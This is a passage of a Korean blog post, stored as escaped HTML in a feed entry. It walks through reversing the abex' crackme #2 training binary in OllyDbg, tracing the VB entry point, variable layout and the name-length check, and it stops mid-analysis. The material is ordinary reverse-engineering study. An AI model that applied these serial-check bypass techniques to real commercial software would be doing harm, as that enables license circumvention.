      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 289px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99AE274D5C63D7D104&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99AE274D5C63D7D104&quot; width=&quot;289&quot; height=&quot;168&quot; filename=&quot;2.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/99A0FE465C64EFF308&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/exe.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;crackme2.exe&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;abex' crackme&lt;/b&gt; 2번째 버전입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;포스팅을 매일 적어도 하나씩은 올리기로 했었는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;열심히 분석하다보니 이틀이 지나가버린거 있죠.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;크게 어려운 문제는 아니지만&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;한줄한줄 분석하다보니&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;시간이 참 빨리갑니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 298px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9994304D5C63D7D232&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9994304D5C63D7D232&quot; width=&quot;298&quot; height=&quot;201&quot; filename=&quot;4.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;프로그램을 실행해, About&amp;nbsp;버튼을 눌러보면&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;제작시기를 확인할 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;지금이 2019년이니..&amp;nbsp;무려 19년이&amp;nbsp;넘었군요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 293px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99179E4D5C63D7D236&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99179E4D5C63D7D236&quot; width=&quot;293&quot; height=&quot;181&quot; filename=&quot;3.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Check 버튼을 눌러 인증을 시도해보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;serial&lt;/b&gt; 값이 잘못되었다고&amp;nbsp;알려줍니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;프로그램 내부에서 생성하는 시리얼 값을 찾아&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;입력해주면 되는 문제같습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 300px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B2B64A5C63D7D435&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B2B64A5C63D7D435&quot; width=&quot;300&quot; height=&quot;201&quot; filename=&quot;9.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;참고로 name이 3글자 이하가 되면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;4글자 이상을 입력하라며&amp;nbsp;오류가 나타납니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 629px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997D114D5C63DCC732&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997D114D5C63DCC732&quot; width=&quot;629&quot; height=&quot;144&quot; filename=&quot;36.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;올리디버거&lt;/b&gt;를 사용해 바이너리를 열어 보았습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;파란 배경으로&amp;nbsp;표시된&amp;nbsp;&lt;b&gt;401238&lt;/b&gt;이&amp;nbsp;바로 &lt;b&gt;EntryPoint&lt;/b&gt;&amp;nbsp;입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;먼저 &lt;b&gt;PUSH&lt;/b&gt;를 통해 &lt;b&gt;401E14&lt;/b&gt;를 스택에 넣고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;JMP&lt;/b&gt;를 통해 바로 윗줄인 &lt;b&gt;ThunRTMain&lt;/b&gt;이라는&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;함수를 호출하게 되는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;ThunRTMain&lt;/b&gt;은&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;비주얼 베이직 기반 프로그램에서 실행되는 함수로서&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;401E14&lt;/b&gt; 주소의 &lt;b&gt;RT_MainStruct&lt;/b&gt; 구조체를 인자로 받아&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;프로그램 실행에 필요한 모든 정보를 얻습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 596px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990F674D5C63DCC809&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990F674D5C63DCC809&quot; width=&quot;596&quot; height=&quot;351&quot; filename=&quot;37.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;프로그램을 쭉 따라가다보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;윈도우를 생성하고는 &lt;b&gt;Running&lt;/b&gt; 상태가 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이벤트 기반 프로그래밍 언어의 특성이라고&amp;nbsp;할 수 있는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;윈도우 폼에 각각의 &lt;b&gt;이벤트 리스너&lt;/b&gt;를 두는 것으로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이벤트가 발생하면 다시금 디버깅이 가능해집니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 288px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FF8B4A5C63D7DE35&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FF8B4A5C63D7DE35&quot; width=&quot;288&quot; height=&quot;167&quot; filename=&quot;33.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;적절히 폼을 채워주고&amp;nbsp;Check 버튼을 클릭해주면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Check 버튼에 걸어두었던 &lt;b&gt;이벤트 리스터&lt;/b&gt;가 동작하면서&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;함수로 진입하게 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 635px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9983A54D5C63D7D233&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9983A54D5C63D7D233&quot; width=&quot;635&quot; height=&quot;209&quot; filename=&quot;5.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Check 버튼을 클릭해주면&amp;nbsp;등장하는 바로 이 녀석이&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Check 버튼의 Click 이벤트 리스터 함수입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;앞으로 등장하는 이미지는&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;여러분이 보시는&amp;nbsp;화면과 조금 차이가 있을텐데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;제가 일일히 코멘트를 붙여 두었기에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;참고하여 이해하시면 분명&amp;nbsp;도움이 되리라 생각합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 756px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/992F494D5C63D7D336&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F992F494D5C63D7D336&quot; width=&quot;756&quot; height=&quot;199&quot; filename=&quot;6.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;아래로 조금 내려보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;MOV [EBP-XX], EDI&lt;/b&gt;&amp;nbsp;구문이 연속적으로 존재하는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;각각의 변수들을&amp;nbsp;초기화 하는 것으로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이를 참고해, 변수들의 주소값을 예측할 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;저는 구별하기 쉽게, 이름을 붙여 두었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;RT_Var_Object:
+00 SizeOf(RT_Text_Object)
+04 Method1
+08 Data (length of string)
+0C etc (other values or methods)

RT_Text_Object:
+00 SizeOf(RT_Text_Object)
+04 Method1
+08 TextPointer
+0C etc (other values or methods)&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;각 변수들은 16바이트씩 공간을 차지하고 있는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;위와 같은 형식으로 되어 있다고 이해하시면 되겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 변수의 실제 데이터는 대부분&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;변수의 시작값이 아니라 +8인 주소에 들어 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;예를 들어 &lt;b&gt;EBP-9C&lt;/b&gt; 메모리가 변수의 시작 부분이라면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;실제의 텍스트 포인터나 정수값은&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;EBP-94&lt;/b&gt; 주소에 들어있는 것이지요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 590px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D0544D5C63D7D330&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D0544D5C63D7D330&quot; width=&quot;590&quot; height=&quot;82&quot; filename=&quot;7.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;천천히 실행해보면서, 흐름을 파악하는 것도 좋지만&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;우클릭&amp;nbsp;&amp;gt; Search for &amp;gt; All referenced text string&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;를 이용해&amp;nbsp;명령어에서 사용되는 참조 문자열을 확인하면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;더욱 빠르게&amp;nbsp;찾아갈 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99089D4B5C63E51126&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99089D4B5C63E51126&quot; width=&quot;820&quot; height=&quot;153&quot; filename=&quot;39.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;“Error!”&lt;/b&gt; 문자열 주소에 접근하니&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;문자열 인자를 스택에 넣고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;rtcMsgBox&lt;/b&gt; 함수를 호출하고 있네요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;name&lt;/b&gt;이 3글자 이하일때, 등장하는 부분인데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;조금만 위로 올려보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;글자수를 점검하는&amp;nbsp;분기문이 나타납니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9954FF4A5C63D7D503&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9954FF4A5C63D7D503&quot; width=&quot;820&quot; height=&quot;236&quot; filename=&quot;10.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;vbaLenVar(arg1, arg2) : 문자열 인자 arg2의 길이를 구해 arg1에 저장합니다.&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaLenVar&lt;/b&gt; 함수를 통해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;텍스트 변수&amp;nbsp;&lt;b&gt;EBP-74&lt;/b&gt;&amp;nbsp;의&amp;nbsp;문자열 길이를&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;변수&amp;nbsp;&lt;b&gt;EBP-9C&lt;/b&gt;&amp;nbsp;에 넣어주고&amp;nbsp;있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;vbaVarTstLt(arg1, arg2) : arg1 &amp;lt; arg2 이면 0, 그렇지 않으면 FFFFFF을 리턴합니다.&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그리고 변수 &lt;b&gt;EBP-DC&lt;/b&gt;&amp;nbsp;에 4를 대입하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaVarTstLt&lt;/b&gt; 함수를 사용해&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;EBP-9C&lt;/b&gt;&amp;nbsp;가 4보다 작은지 확인하고 있군요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서&amp;nbsp;입력한&amp;nbsp;&lt;b&gt;name&lt;/b&gt;의 값이&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;4보다 작으면 &lt;b&gt;FFFFFF&lt;/b&gt;를 리턴하게 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;TEST&lt;/b&gt;&amp;nbsp;명령어는 AND 연산을 수행하므로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 &lt;b&gt;AX&lt;/b&gt;&amp;nbsp;가 0이라면 &lt;b&gt;ZF(ZeroFlag)&lt;/b&gt;가 1로 세팅되어&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;JE&lt;/b&gt;&amp;nbsp;명령어를&amp;nbsp;수행하게 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;하지만 4보다 작으면 &lt;b&gt;EAX&lt;/b&gt;는 &lt;b&gt;FFFFFF&lt;/b&gt;가 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 &lt;b&gt;ZF&lt;/b&gt;&amp;nbsp;는 0이 되므로&amp;nbsp;&lt;b&gt;JE&lt;/b&gt;&amp;nbsp;명령어를 수행하지 않고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그대로 통과하여 에러 메시지를 출력하게 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 786px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9944524A5C63D7D504&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9944524A5C63D7D504&quot; width=&quot;786&quot; height=&quot;271&quot; filename=&quot;11.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;조금 스크롤을 올려보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;402F78&lt;/b&gt;&amp;nbsp;에서&amp;nbsp;텍스트박스 폼을 먼저 가져온 후에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;name&lt;/b&gt;&amp;nbsp;값을 불러오고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;vbaVarMove() : EDX의 변수를 ECX로 복사합니다.&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaVarMove&lt;/b&gt;&amp;nbsp;로 임시변수에서 자원을 복사한 다음&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;vbaVarFree() : ECX 주소의 자원을 해제합니다.&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;필요를 다한&amp;nbsp;자원을&amp;nbsp;&lt;b&gt;vbaFreeObj&lt;/b&gt;&amp;nbsp;로 해제해 주네요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/992A414A5C63D7D533&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F992A414A5C63D7D533&quot; width=&quot;820&quot; height=&quot;232&quot; filename=&quot;12.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;조금 내려오면 아까 보았던 부분이죠?&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaLenVar&lt;/b&gt;&amp;nbsp;를 통해&amp;nbsp;&lt;b&gt;EBP-74&lt;/b&gt;&amp;nbsp;의&amp;nbsp;문자열 길이를&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;EBP-9C&lt;/b&gt;&amp;nbsp;에 대입하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;EBP-DC&lt;/b&gt;&amp;nbsp;에&amp;nbsp;4 값을 넣어 &lt;b&gt;vbaVarTstLt&lt;/b&gt;&amp;nbsp;로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;대소를 비교하고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p 